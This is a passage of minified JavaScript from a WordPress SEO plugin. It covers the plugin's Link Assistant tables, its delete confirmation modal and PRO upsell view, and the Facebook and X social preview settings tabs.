s="",o=null,r=null;if(document.querySelector("#wp-content-wrap.tmce-active")?(o=window.tinyMCE.get("content"),s=o.getContent({format:"raw"})):(r=document.querySelector("textarea#content"),s=r?r.value:""),!s){window.aioseoBus.$emit("updatingLinks",!1);return}let u=i.phrase_html.trim();o||(u=u.replace(/(\sdata-mce-href=".*")/gi,""));const c=X(i.anchor.trim());let p=new RegExp(`(]*>)(.*)?(${c})(.*)?(]*>)`,"i");const S=u.replace(p,"$2$3$4"),C=X(u);p=new RegExp(`${C}`,"i"),s=s.replace(p,S),o?o.setContent(s):r.value=s,this.post.links[this.linkType].rows.splice(t,1),(v=ot().postSettingsUpdate({postContent:s}))==null||v.finally(()=>{window.aioseoBus.$emit("updatingLinks",!1),this.$emit("linksUpdated")})},idsToIndexes(t){let e,i=[];return Array.isArray(t)&&(e=t.map(Number)),e&&this.post.links[this.linkType].rows.forEach((s,o)=>{e.includes(s.id)&&i.push(o)}),t==="all"&&(i=this.post.links[this.linkType].rows.map((s,o)=>o)),i.sort(function(s,o){return o-s})}}},Cn={emits:["closeModal","doBulkAction"],components:{CoreModal:J,SvgClose:It},props:{selectedRows:{required:!0},strings:{type:Object,required:!0},show:Boolean},computed:{areYouSure(){return this.selectedRows==="all"?this.strings.areYouSureAll:Array.isArray(this.selectedRows)&&1t.$emit("closeModal",!0))},{body:l(()=>[h("div",$n,[h("button",{class:"close",onClick:e[1]||(e[1]=H(S=>t.$emit("closeModal",!0),["stop"]))},[d(u,{onClick:e[0]||(e[0]=S=>t.$emit("closeModal",!0))})]),h("h3",null,m(r.areYouSure),1),h("div",{class:"reset-description",innerHTML:i.strings.actionCannotBeUndone},null,8,Pn),d(c,{type:"blue",size:"medium",onClick:e[2]||(e[2]=S=>t.$emit("doBulkAction",S))},{default:l(()=>[w(m(r.confirmation),1)]),_:1}),d(c,{type:"gray",size:"medium",onClick:e[3]||(e[3]=S=>t.$emit("closeModal",!0))},{default:l(()=>[w(m(i.strings.noChangedMind),1)]),_:1})])]),_:1},8,["show"])}const Tn=y(Cn,[["render",En]]),xn={components:{CoreTooltip:G},props:{phrase:{type:String,required:!0},phraseHtml:{type:String,required:!0},anchor:{type:String,required:!0},url:{type:String,required:!0},tooltip:{type:Boolean,required:!1,default:!0},clickableAnchor:{type:Boolean,default(){return!1}}},computed:{partPattern(){const t=this.decodeHtmlEntities(this.anchor),e=X(t);return new RegExp(`(.*)(]*>.*${e}.*)(.*)`,"i")},firstPart(){return this.decodeHtmlEntities(this.stripTags(this.getPart(1)).trimStart())},linkAnchor(){return this.decodeHtmlEntities(this.stripTags(this.getPart(2)))},lastPart(){return this.decodeHtmlEntities(this.stripTags(this.getPart(3)).trimEnd())}},methods:{getPart(t){const i=this.decodeHtmlEntities(this.stripTags(this.phraseHtml,!0)).match(this.partPattern);return i?i[t]:""},stripTags(t,e=!1){return t=t.replace(//gi," "),e?t.replace(/<(?!a\s)(?!\/a)[^>]*>/gi,""):t.replace(/<[^>]*>/gi,"")},maybeOpenLink(){this.clickableAnchor&&window.open(this.url,"_blank").focus()},decodeHtmlEntities(t){const e=document.createElement("textarea");return e.innerHTML=t,e.value}}},An={class:"phrase"},Ln={key:0,class:"first"},Mn=["href"],Hn={key:2},In={class:"anchor"},Bn={key:3,class:"last"};function Rn(t,e,i,s,o,r){const u=a("core-tooltip");return n(),f("div",{class:"aioseo-link-assistant-phrase",onMouseover:e[1]||(e[1]=c=>t.$emit("mouseOver")),onMouseleave:e[2]||(e[2]=c=>t.$emit("mouseLeave"))},[h("span",An,[r.firstPart?(n(),f("span",Ln,m(r.firstPart),1)):g("",!0),i.tooltip?(n(),_(u,{key:1,type:"action"},{tooltip:l(()=>[h("a",{class:"tooltip-url",href:i.url,target:"_blank"},m(i.url),9,Mn)]),default:l(()=>[h("span",{class:"anchor",onClick:e[0]||(e[0]=(...c)=>r.maybeOpenLink&&r.maybeOpenLink(...c))},m(r.linkAnchor),1)]),_:1})):g("",!0),i.tooltip?g("",!0):(n(),f("div",Hn,[h("span",In,m(r.linkAnchor),1)])),r.lastPart?(n(),f("span",Bn,m(r.lastPart),1)):g("",!0)]),q(t.$slots,"icons")],32)}const On=y(xn,[["render",Rn]]),Dn={},Nn={viewBox:"0 0 17 10",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-link-suggestion"},Vn=h("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M7.66699 7.43742H4.33366C2.95866 7.43742 1.83366 6.31242 1.83366 4.93742C1.83366 3.56242 2.95866 2.43742 4.33366 2.43742H7.66699V0.770752H4.33366C2.03366 0.770752 0.166992 2.63742 0.166992 4.93742C0.166992 7.23742 2.03366 9.10408 4.33366 9.10408H7.66699V7.43742ZM12.667 0.770752H9.33366V2.43742H12.667C14.042 2.43742 15.167 3.56242 15.167 4.93742C15.167 6.31242 14.042 7.43742 12.667 7.43742H9.33366V9.10408H12.667C14.967 9.10408 16.8337 7.23742 16.8337 4.93742C16.8337 2.63742 14.967 0.770752 12.667 0.770752ZM11.8337 4.10409H5.16699V5.77075H11.8337V4.10409Z",fill:"currentColor"},null,-1),Un=[Vn];function Kn(t,e){return n(),f("svg",Nn,Un)}const qt=y(Dn,[["render",Kn]]),Gn={setup(){const{strings:t,modalStrings:e,bulkOptions:i}=vn();return{rootStore:Z(),settingsStore:Y(),composableStrings:t,bulkOptions:i,modalStrings:e}},emits:["openSuggestions"],components:{CoreTooltip:G,CoreWpTable:Ns,LinkAssistantConfirmationModal:Tn,LinkAssistantPhrase:On,SvgLinkExternal:ke,SvgLinkSuggestion:qt,SvgTrash:St},mixins:[wn,Vs,Ds],data(){return{tableId:"aioseo-post-report-inbound-internal",linkType:"inboundInternal",strings:de(this.composableStrings,{deleteAllLinks:this.$t.sprintf(this.$t.__("Delete All %1$s Links",this.$td),this.$t.__("Inbound Internal",this.$td)),outboundSuggestions:this.$t.sprintf(this.$t.__("%1$s Link Suggestions",this.$td),this.$t.__("Inbound",this.$td))})}},computed:{columns(){return[{slug:"post_title",label:this.$t.__("Post Title",this.$td)},{slug:"phrase",label:this.$t.__("Phrase",this.$td)},{slug:"delete",width:"50px"}]},seeAllLinks(){return this.$t.sprintf(this.$t.__("See All %1$s %2$s Links",this.$td),this.post.links.inboundInternal.totals.total,this.$t.__("Inbound Internal",this.$td))}},methods:{processPagination(t){this.pageNumber=t,!this.metabox&&(this.wpTableLoading=!0,this.processFetchTableData().then(()=>this.wpTableLoading=!1))}}},Fn={key:0},qn={key:0,class:"row-actions"},zn={class:"view"},Wn=["href"],jn={class:"edit"},Yn=["href"],Zn={key:0,class:"links-bottom"},Jn={class:"links-bottom-left"},Xn={key:1},Qn={class:"links-bottom-right"};function ta(t,e,i,s,o,r){const u=a("link-assistant-phrase"),c=a("svg-trash"),p=a("core-tooltip"),S=a("core-wp-table"),C=a("svg-link-suggestion"),$=a("base-button"),v=a("svg-link-external"),b=a("link-assistant-confirmation-modal");return n(),f("div",null,[(n(),_(S,{id:o.tableId,key:t.wpTableKey,class:E({"link-assistant-inner-table":!t.postReport}),columns:r.columns,loading:t.wpTableLoading,rows:t.rows,totals:t.post.links.inboundInternal.totals,"bulk-options":s.bulkOptions,"initial-items-per-page":s.settingsStore.settings.tablePagination.linkAssistantPostsReport,"initial-page-number":t.pageNumber,"show-pagination":!t.linksReport,"show-search":!1,"show-table-footer":t.postReport,"show-items-per-page":"",onPaginate:r.processPagination,onProcessBulkAction:t.maybeDoBulkAction,onProcessChangeItemsPerPage:t.processChangeItemsPerPage},{post_title:l(({row:k})=>{var M,L;return[h("span",null,[w(m(k.context.postTitle)+" ",1),((L=(M=k.context)==null?void 0:M.permalink)==null?void 0:L.replace(/\/$/,""))===s.rootStore.aioseo.urls.home?(n(),f("span",Fn,"("+m(o.strings.frontPage)+")",1)):g("",!0)]),k.context?(n(),f("div",qn,[h("span",zn,[h("a",{href:k.context.permalink,target:"_blank"},m(t.viewPost(k.context.postType.singular)),9,Wn),w(" | ")]),h("span",jn,[h("a",{href:k.context.editLink,target:"_blank"},m(t.editPost(k.context.postType.singular)),9,Yn)])])):g("",!0)]}),phrase:l(({row:k})=>[d(u,{phrase:k.phrase,phraseHtml:k.phrase_html||"",anchor:k.anchor,url:k.url,clickableAnchor:!0},null,8,["phrase","phraseHtml","anchor","url"])]),delete:l(({index:k})=>[d(p,{type:"action"},{tooltip:l(()=>[w(m(o.strings.deleteLink),1)]),default:l(()=>[d(c,{onClick:M=>t.maybeDoBulkAction({action:"delete",selectedRows:k})},null,8,["onClick"])]),_:2},1024)]),_:1},8,["id","class","columns","loading","rows","totals","bulk-options","initial-items-per-page","initial-page-number","show-pagination","show-table-footer","onPaginate","onProcessBulkAction","onProcessChangeItemsPerPage"])),t.postReport?g("",!0):(n(),f("div",Zn,[h("div",Jn,[t.post.links.inboundInternal.rows.length?(n(),_($,{key:0,type:"blue",tag:"button",onClick:e[0]||(e[0]=k=>t.$emit("openSuggestions"))},{default:l(()=>[d(C),w(" "+m(o.strings.outboundSuggestions),1)]),_:1})):g("",!0),t.post.links.inboundInternal.totals.total>5&&t.linksReport?(n(),f("div",Xn,[d(v),h("a",{class:"link-view",href:"#",onClick:e[1]||(e[1]=H(k=>t.openPostReport("inbound-internal"),["prevent"]))},m(r.seeAllLinks),1)])):g("",!0)]),h("div",Qn,[t.post.links.inboundInternal.rows.length?(n(),f("a",{key:0,class:"link-delete",onClick:e[2]||(e[2]=H(k=>t.maybeDoBulkAction({action:"delete",selectedRows:"all"}),["prevent"]))},m(o.strings.deleteAllLinks),1)):g("",!0)])])),d(b,{show:t.showModal,selectedRows:t.selectedRows,strings:s.modalStrings,onDoBulkAction:t.doBulkAction,onCloseModal:e[3]||(e[3]=k=>t.showModal=!1)},null,8,["show","selectedRows","strings","onDoBulkAction"])])}const ea=y(Gn,[["render",ta]]),sa={setup(){return{licenseStore:O(),postEditorStore:P()}},components:{CoreAlert:K,CoreBlur:Gt,CoreMainTabs:st,CoreModal:J,Cta:ve,LinkAssistantInboundInternal:ea,LinksSideBar:bn,SvgLinkAffiliate:Us,SvgLinkExternal:ke,SvgLinkInternalInbound:Ks,SvgLinkInternalOutbound:Gs,SvgLinkSuggestion:qt,RequiredPlans:Fs},props:{parentComponentContext:String},data(){return{activeTab:"inbound-internal",activeSuggestionTab:"suggestions-inbound",mockedPostData:{links:{inboundInternal:{rows:[{phrase:"Are you looking for an easy way to do an SEO analysis for your website?",anchor:"SEO analysis",url:"#",context:{postTitle:"How to Perform an SEO Analysis on Your WordPress Website",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"AIOSEO also allows you to create video sitemaps and comes with tons of different SEO tools.",anchor:"video sitemaps",url:"#",context:{postTitle:"How to Create WordPress Image Sitemap",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"You may also want to check out how to name your image files for SEO in WordPress and write alt text for images.",anchor:"how to name your image files for SEO in WordPress",url:"#",context:{postTitle:"What’s the Best Image Format for Your Website?",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"Are you looking for an easy way to do an SEO analysis for your website?",anchor:"SEO analysis",url:"#",context:{postTitle:"How to Perform an SEO Analysis on Your WordPress Website",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"To learn more, please check out our post on image SEO: how to best optimize your images in WordPress. ",anchor:"image SEO",url:"#",context:{postTitle:"How to Write Alt Text for Images for SEO",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"So let’s now move on to showing you exactly how easy it is to import and export redirects using the best redirect plugin for WordPress.",anchor:"best redirect plugin for WordPress",url:"#",context:{postTitle:"How to Easily Import and Export Redirects in WordPress",permalink:"#",editLink:"#",postType:{singular:"Post"}}}],totals:{total:6}},outboundInternal:{totals:{total:12}},affiliate:{totals:{total:8}},external:{totals:{total:24}},suggestionsInbound:{totals:{total:9}},suggestionsOutbound:{totals:{total:9}}}},strings:{ctaButtonText:this.$t.__("Unlock Link Assistant",this.$td),ctaHeader:this.$t.sprintf(this.$t.__("Link Assistant is a %1$s Feature",this.$td),"PRO"),linkAssistantDescription:this.$t.__("Get relevant suggestions for adding internal links to all your content as well as finding any orphaned posts that have no internal links.",this.$td),thisFeatureRequires:this.$t.__("This feature requires one of the following plans:",this.$td),linkOpportunities:this.$t.__("Actionable Link Suggestions",this.$td),orphanedPosts:this.$t.__("See Orphaned Posts",this.$td),affiliateLinks:this.$t.__("See Affiliate Links",this.$td),domainReports:this.$t.__("Top Domain Reports",this.$td)}}},computed:{initialTab(){return"inbound-internal"},tabs(){return[{slug:"inbound-internal",icon:"svg-link-internal-inbound",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.inboundInternal.totals.total,this.$t.__("Inbound Internal",this.$td))},{slug:"outbound-internal",icon:"svg-link-internal-outbound",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.outboundInternal.totals.total,this.$t.__("Outbound Internal",this.$td))},{slug:"affiliate",icon:"svg-link-affiliate",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.affiliate.totals.total,this.$t.__("Affiliate",this.$td))},{slug:"external",icon:"svg-link-external",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.external.totals.total,this.$t.__("External",this.$td))},{slug:"link-suggestions",icon:"svg-link-suggestion",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.suggestionsOutbound.totals.total+this.mockedPostData.links.suggestionsInbound.totals.total,this.$t.__("Link Suggestions",this.$td))}]},modalHeader(){return this.$t.sprintf(this.$t.__('Links & Suggestions for "%1$s"',this.$td),window.wp.data.select("core/editor").getEditedPostAttribute("title"))}}},oa={class:"aioseo-tab-content aioseo-link-assistant"},ia={key:0};function ra(t,e,i,s,o,r){const u=a("core-main-tabs"),c=a("link-assistant-inbound-internal"),p=a("core-blur"),S=a("required-plans"),C=a("cta"),$=a("core-modal"),v=a("links-side-bar");return n(),f("div",oa,[t.$root._data.screenContext==="metabox"?(n(),f("div",ia,[d(p,null,{default:l(()=>[d(u,{class:"link-tabs",internal:"",tabs:r.tabs,active:r.initialTab,showSaveButton:!1},{"var-tab-icon":l(({tab:b})=>[(n(),_(B(b.icon),{class:E([{warning:b.warning}])},null,8,["class"]))]),_:1},8,["tabs","active"]),o.activeTab==="inbound-internal"?(n(),_(c,{key:0,post:o.mockedPostData,metabox:""},null,8,["post"])):g("",!0)]),_:1}),d(C,{"cta-link":t.$links.getPricingUrl("link-assistant","link-assistant-upsell","metabox"),"button-text":o.strings.ctaButtonText,"learn-more-link":t.$links.getUpsellUrl("link-assistant","metabox",t.$isPro?"pricing":"liteUpgrade"),"feature-list":[o.strings.linkOpportunities,o.strings.domainReports,o.strings.orphanedPosts,o.strings.affiliateLinks],"hide-bonus":!s.licenseStore.isUnlicensed},{"header-text":l(()=>[w(m(o.strings.ctaHeader),1)]),description:l(()=>[d(S,{addon:"aioseo-link-assistant"}),w(" "+m(o.strings.linkAssistantDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list","hide-bonus"])])):g("",!0),d($,{show:s.postEditorStore.currentPost.linkAssistant.modalOpen&&t.$root._data.screenContext==="sidebar",classes:["aioseo-link-assistant-modal"],onClose:e[0]||(e[0]=b=>s.postEditorStore.currentPost.linkAssistant.modalOpen=!1)},{headerTitle:l(()=>[w(m(r.modalHeader),1)]),body:l(()=>[d(p,null,{default:l(()=>[d(u,{class:"link-tabs",internal:"",tabs:r.tabs,active:r.initialTab,showSaveButton:!1},{"var-tab-icon":l(({tab:b})=>[(n(),_(B(b.icon),{class:E([{warning:b.warning}])},null,8,["class"]))]),_:1},8,["tabs","active"]),o.activeTab==="inbound-internal"?(n(),_(c,{key:0,post:o.mockedPostData,metabox:""},null,8,["post"])):g("",!0)]),_:1}),d(C,{"cta-link":t.$links.getPricingUrl("link-assistant","link-assistant-upsell","metabox"),"button-text":o.strings.ctaButtonText,"learn-more-link":t.$links.getUpsellUrl("link-assistant","metabox",t.$isPro?"pricing":"liteUpgrade"),"feature-list":[o.strings.linkOpportunities,o.strings.domainReports,o.strings.orphanedPosts,o.strings.affiliateLinks],"hide-bonus":!s.licenseStore.isUnlicensed},{"header-text":l(()=>[w(m(o.strings.ctaHeader),1)]),description:l(()=>[d(S,{addon:"aioseo-link-assistant"}),w(" "+m(o.strings.linkAssistantDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list","hide-bonus"])]),_:1},8,["show"]),this.parentComponentContext!=="modal"?(n(),_(v,{key:1})):g("",!0)])}const ie=y(sa,[["render",ra]]),na={};function aa(t,e){return n(),f("div")}const la=y(na,[["render",aa]]),da={setup(){return{addons:be,licenseStore:O()}},components:{Links:ie,LinksActivate:la,LinksLite:ie},props:{parentComponentContext:String}},ca={class:"aioseo-tab-content aioseo-link-assistant"};function ha(t,e,i,s,o,r){const u=a("Links",!0),c=a("LinksLite"),p=a("LinksActivate");return n(),f("div",ca,[!s.licenseStore.isUnlicensed&&s.addons.isActive("aioseo-link-assistant")&&!s.addons.requiresUpgrade("aioseo-link-assistant")?(n(),_(u,{key:0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):g("",!0),s.licenseStore.isUnlicensed||s.addons.requiresUpgrade("aioseo-link-assistant")?(n(),_(c,{key:1,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):g("",!0),!s.licenseStore.isUnlicensed&&!s.addons.isActive("aioseo-link-assistant")&&s.addons.canActivate("aioseo-link-assistant")&&!s.addons.requiresUpgrade("aioseo-link-assistant")?(n(),_(p,{key:2,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):g("",!0)])}const ua=y(da,[["render",ha]]),pa={computed:{objectTypeOptions(){return[{groupLabel:this.$t.__("Default",this.$td),options:[{label:this.$t.__("Default Object Type (Set in Social Networks)",this.$td),value:"default"}]}].concat(this.$constants.OG_TYPE_OPTIONS)}},methods:{getObjectTypeLabelByOption(t){let e="";return this.objectTypeOptions.forEach(i=>{const s=i.options.find(o=>o.value===t);s&&(e=(s==null?void 0:s.label)||"")}),e}}},ga={computed:{twitterCardOptions(){return[{label:this.$t.__("Default (Set under Social Networks)",this.$td),value:"default"},{label:this.$t.__("Summary",this.$td),value:"summary"},{label:this.$t.__("Summary with Large Image",this.$td),value:"summary_large_image"}]}},methods:{getTwitterCardLabelByOption(t){var e;return((e=this.twitterCardOptions.find(i=>i.value===t))==null?void 0:e.label)||""}}},ma={setup(){return{optionsStore:dt(),postEditorStore:P(),rootStore:Z()}},components:{CoreAlert:K,CoreFacebookPreview:qs,CoreHtmlTagsEditor:Kt,CoreImageUploader:Pe,CoreSettingsRow:V},mixins:[we,Ce,ue,Ot,Dt,pa],props:{isMobilePreview:{type:Boolean,default(){return!1}}},data(){return{tags:$e,separator:void 0,titleCount:0,descriptionCount:0,strings:{tabName:this.$t.__("Facebook Preview",this.$td),imageSource:this.$t.__("Image Source",this.$td),customFieldsName:this.$t.__("Custom Field Name",this.$td),video:this.$t.__("Video URL",this.$td),width:this.$t.__("Width",this.$td),height:this.$t.__("Height",this.$td),facebookObjectType:this.$t.__("Object Type",this.$td),facebookImage:this.$t.__("Facebook Image",this.$td),facebookTitle:this.$t.__("Facebook Title",this.$td),facebookDescription:this.$t.__("Facebook Description",this.$td),minimumSize:this.$t.__("Minimum size: 200px x 200px, ideal ratio 1.91:1, 5MB max. (eg: 1640px x 856px or 3280px x 1712px for Retina screens). JPG, PNG, WEBP and GIF formats only.",this.$td),clickToAddSiteName:this.$t.__("Click on the tags below to insert variables into your site name.",this.$td),clickToAddHomePageDescription:this.$t.__("Click on the tags below to insert variables into your meta description.",this.$td),articleSection:this.$t.__("Article Section",this.$td),articleTags:this.$t.__("Article Tags",this.$td),tagPlaceholder:this.$t.__("Press enter to create an article tag",this.$td),facebookDisabled:this.$t.sprintf(this.$t.__("No %1$s markup will be output for your post because it is currently disabled. You can enable %1$s markup in the Social Networks settings. %2$s",this.$td),this.$t.__("Open Graph",this.$td),this.$t.sprintf('%2$s →',this.rootStore.aioseo.urls.aio.socialNetworks+"#facebook",this.$t.__("Go to Social Networks",this.$td)))}}},computed:{previewTitle(){return this.parseTags(this.postEditorStore.currentPost.og_title||this.postEditorStore.currentPost.title||this.postEditorStore.currentPost.tags.title||"#post_title #separator_sa #site_title")},previewDescription(){return this.parseTags(this.postEditorStore.currentPost.og_description||this.postEditorStore.currentPost.description||this.postEditorStore.currentPost.tags.description||"#post_content")},shouldShowArticleSection(){const t=this.postEditorStore.currentPost.context==="term"?"taxonomies":"postTypes";return this.postEditorStore.currentPost.og_object_type==="article"||this.postEditorStore.currentPost.og_object_type==="default"&&this.optionsStore.dynamicOptions.social.facebook.general[t][this.postEditorStore.currentPost.postType||this.postEditorStore.currentPost.termType].objectType==="article"}},methods:{scrollToElement(){const t=document.getElementsByClassName("component-wrapper")[0];setTimeout(()=>{t&&(t.firstChild.scrollTop=0)},10)},saveImageType(t){this.postEditorStore.currentPost.og_image_type=t,this.postEditorStore.isDirty=!0},getObjectTypeOptions(t){let e=null;return this.objectTypeOptions.forEach(i=>{const s=i.options.find(o=>o.value===t);s&&(e=s)}),e},setObjectType(t){this.postEditorStore.currentPost.og_object_type=t,this.postEditorStore.isDirty=!0},updateImage(t){this.postEditorStore.currentPost.og_image_custom_url=t,this.postEditorStore.savePostState()},handleImageUpdate(){this.setImageUrl("facebook")}},watch:{"postEditorStore.currentPost.og_image_type"(){this.handleImageUpdate()},"postEditorStore.currentPost.og_image_custom_url"(){this.handleImageUpdate()}},mounted(){this.scrollToElement(),this.setImageUrl("facebook"),window.aioseoBus.$on("updateFeaturedImage",this.handleImageUpdate)},beforeUnmount(){window.aioseoBus.$off("updateFeaturedImage",this.handleImageUpdate)}},_a={class:"tab-facebook"},fa={id:"aioseo-post-settings-facebook"},Sa=["innerHTML"],ya=["innerHTML"];function ba(t,e,i,s,o,r){const u=a("core-alert"),c=a("core-facebook-preview"),p=a("core-settings-row"),S=a("core-html-tags-editor"),C=a("base-select"),$=a("base-input"),v=a("core-image-uploader");return n(),f("div",_a,[d(p,{class:"snippet-preview-row"},{name:l(()=>[h("span",null,m(o.strings.tabName),1)]),content:l(()=>[s.optionsStore.options.social.facebook.general.enable?g("",!0):(n(),_(u,{key:0,class:"facebook-disabled-warning",innerHTML:o.strings.facebookDisabled,type:"red"},null,8,["innerHTML"])),d(c,{description:r.previewDescription,image:t.imageUrl,loading:t.loading,title:r.previewTitle},null,8,["description","image","loading","title"])]),_:1}),h("div",fa,[d(p,{name:o.strings.facebookTitle,class:"facebook-title-settings",align:""},{content:l(()=>[d(S,{class:"facebook-meta-input",modelValue:s.postEditorStore.currentPost.og_title,"onUpdate:modelValue":[e[0]||(e[0]=b=>s.postEditorStore.currentPost.og_title=b),e[2]||(e[2]=b=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,single:"",onCounter:e[1]||(e[1]=b=>t.updateCount(b,"titleCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Title`,"default-tags":o.tags.getDefaultTags(s.postEditorStore.currentPost.context==="term"?"taxonomies":null,null,"title")},{"tags-description":l(()=>[w(m(o.strings.clickToAddSiteName),1)]),_:1},8,["modelValue","tags-context","default-tags"]),h("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.titleCount,95)},null,8,Sa)]),_:1},8,["name"]),d(p,{name:o.strings.facebookDescription,class:"facebook-description-settings",align:""},{content:l(()=>[d(S,{class:"facebook-meta-input",modelValue:s.postEditorStore.currentPost.og_description,"onUpdate:modelValue":[e[3]||(e[3]=b=>s.postEditorStore.currentPost.og_description=b),e[5]||(e[5]=b=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,description:"",onCounter:e[4]||(e[4]=b=>t.updateCount(b,"descriptionCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Description`,"default-tags":o.tags.getDefaultTags(s.postEditorStore.currentPost.context==="term"?"taxonomies":null,null,"description")},{"tags-description":l(()=>[w(m(o.strings.clickToAddHomePageDescription),1)]),_:1},8,["modelValue","tags-context","default-tags"]),h("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.descriptionCount,200)},null,8,ya)]),_:1},8,["name"]),d(p,{class:"facebook-image-source",name:o.strings.imageSource,align:""},{content:l(()=>[d(C,{size:"medium",options:t.imageSourceOptionsFiltered,modelValue:t.getImageSourceOptionFiltered(s.postEditorStore.currentPost.og_image_type),"onUpdate:modelValue":e[6]||(e[6]=b=>r.saveImageType(b.value))},null,8,["options","modelValue"])]),_:1},8,["name"]),s.postEditorStore.currentPost.og_image_type==="custom"?(n(),_(p,{key:0,name:o.strings.customFieldsName,align:""},{content:l(()=>[d($,{type:"text",size:"medium",placeholder:o.strings.placeholder,modelValue:s.postEditorStore.currentPost.og_image_custom_fields,"onUpdate:modelValue":[e[7]||(e[7]=b=>s.postEditorStore.currentPost.og_image_custom_fields=b),e[8]||(e[8]=b=>s.postEditorStore.isDirty=!0)]},null,8,["placeholder","modelValue"])]),_:1},8,["name"])):g("",!0),s.postEditorStore.currentPost.og_image_type==="custom_image"?(n(),_(p,{key:1,class:"facebook-image",name:o.strings.facebookImage},{content:l(()=>[d(v,{description:o.strings.minimumSize,modelValue:s.postEditorStore.currentPost.og_image_custom_url,"onUpdate:modelValue":e[9]||(e[9]=b=>s.postEditorStore.currentPost.og_image_custom_url=b)},null,8,["description","modelValue"])]),_:1},8,["name"])):g("",!0),d(p,{class:"facebook-video",name:o.strings.video,align:""},{content:l(()=>[d($,{type:"text",size:"medium",modelValue:s.postEditorStore.currentPost.og_video,"onUpdate:modelValue":e[10]||(e[10]=b=>s.postEditorStore.currentPost.og_video=b)},null,8,["modelValue"])]),_:1},8,["name"]),d(p,{class:"facebook-object-type",name:o.strings.facebookObjectType,align:""},{content:l(()=>[d(C,{size:"medium","open-direction":"top",options:t.objectTypeOptions,"group-label":"groupLabel","group-values":"options",modelValue:r.getObjectTypeOptions(s.postEditorStore.currentPost.og_object_type),"onUpdate:modelValue":e[11]||(e[11]=b=>r.setObjectType(b.value))},null,8,["options","modelValue"])]),_:1},8,["name"]),r.shouldShowArticleSection?(n(),_(p,{key:2,name:o.strings.articleSection,align:""},{content:l(()=>[d($,{type:"text",size:"medium",modelValue:s.postEditorStore.currentPost.og_article_section,"onUpdate:modelValue":e[12]||(e[12]=b=>s.postEditorStore.currentPost.og_article_section=b)},null,8,["modelValue"])]),_:1},8,["name"])):g("",!0),r.shouldShowArticleSection?(n(),_(p,{key:3,name:o.strings.articleTags,align:""},{content:l(()=>[d(C,{multiple:"",taggable:"",options:t.getJsonValue(s.postEditorStore.currentPost.og_article_tags)||[],modelValue:t.getJsonValue(s.postEditorStore.currentPost.og_article_tags)||[],"onUpdate:modelValue":e[13]||(e[13]=b=>s.postEditorStore.currentPost.og_article_tags=t.setJsonValue(b)),"tag-placeholder":o.strings.tagPlaceholder},null,8,["options","modelValue","tag-placeholder"])]),_:1},8,["name"])):g("",!0)])])}const va=y(ma,[["render",ba]]),ka={setup(){return{optionsStore:dt(),postEditorStore:P(),rootStore:Z()}},components:{CoreAlert:K,CoreHtmlTagsEditor:Kt,CoreImageUploader:Pe,CoreSettingsRow:V,CoreTwitterPreview:zs},mixins:[we,Ce,Ot,Dt,ga],props:{isMobilePreview:{type:Boolean,default(){return!1}}},data(){return{tags:$e,separator:void 0,titleCount:0,descriptionCount:0,facebookImageUrl:"",strings:{twitterPreview:this.$t.__("X (Twitter) Preview",this.$td),twitterPreviewDescription:this.$t.__("X cards by default will use the data defined below. If no data is set, X will instead pick up the data set on the Facebook tab.",this.$td),useFB:this.$t.__("Use Data from Facebook Tab",this.$td),imageSource:this.$t.__("Image Source",this.$td),customFieldsName:this.$t.__("Custom Field Name",this.$td),twitterImage:this.$t.__("X Image",this.$td),twitterTitle:this.$t.__("X Title",this.$td),twitterDescription:this.$t.__("X Description",this.$td),twitterCardType:this.$t.__("X Card Type",this.$td),minimumSizeSummary:this.$t.__("Minimum size: 144px x 144px, ideal ratio 1:1, 5MB max. JPG, PNG, WEBP and GIF formats only.",this.$td),minimumSizeSummaryWithLarge:this.$t.__("Minimum size: 300px x 157px, ideal ratio 2:1, 5MB max. JPG, PNG, WEBP and GIF formats only.",this.$td),twitterDisabled:this.$t.sprintf(this.$t.__("No %1$s markup will be output for your post because it is currently disabled. You can enable %1$s markup in the Social Networks settings. %2$s",this.$td),this.$t.__("X (Twitter)",this.$td),this.$t.sprintf('%2$s →',this.rootStore.aioseo.urls.aio.socialNetworks+"#twitter",this.$t.__("Go to Social Networks",this.$td)))}}},computed:{previewTitle(){const t=this.postEditorStore.currentPost.twitter_use_og||!this.postEditorStore.currentPost.twitter_title?this.postEditorStore.currentPost.og_title:this.postEditorStore.currentPost.twitter_title;return this.parseTags(t||this.postEditorStore.currentPost.title||this.postEditorStore.currentPost.tags.title||"#post_title #separator_sa #site_title")},previewDescription(){const t=this.postEditorStore.currentPost.twitter_use_og||!this.postEditorStore.currentPost.twitter_description?this.postEditorStore.currentPost.og_description:this.postEditorStore.currentPost.twitter_description;return this.parseTags(t||this.postEditorStore.currentPost.description||this.postEditorStore.currentPost.tags.description||"#post_content")},previewImage(){return this.postEditorStore.currentPost.twitter_use_og||!this.imageUrl?this.facebookImageUrl:this.imageUrl},twitterImageUploaderDescription(){return 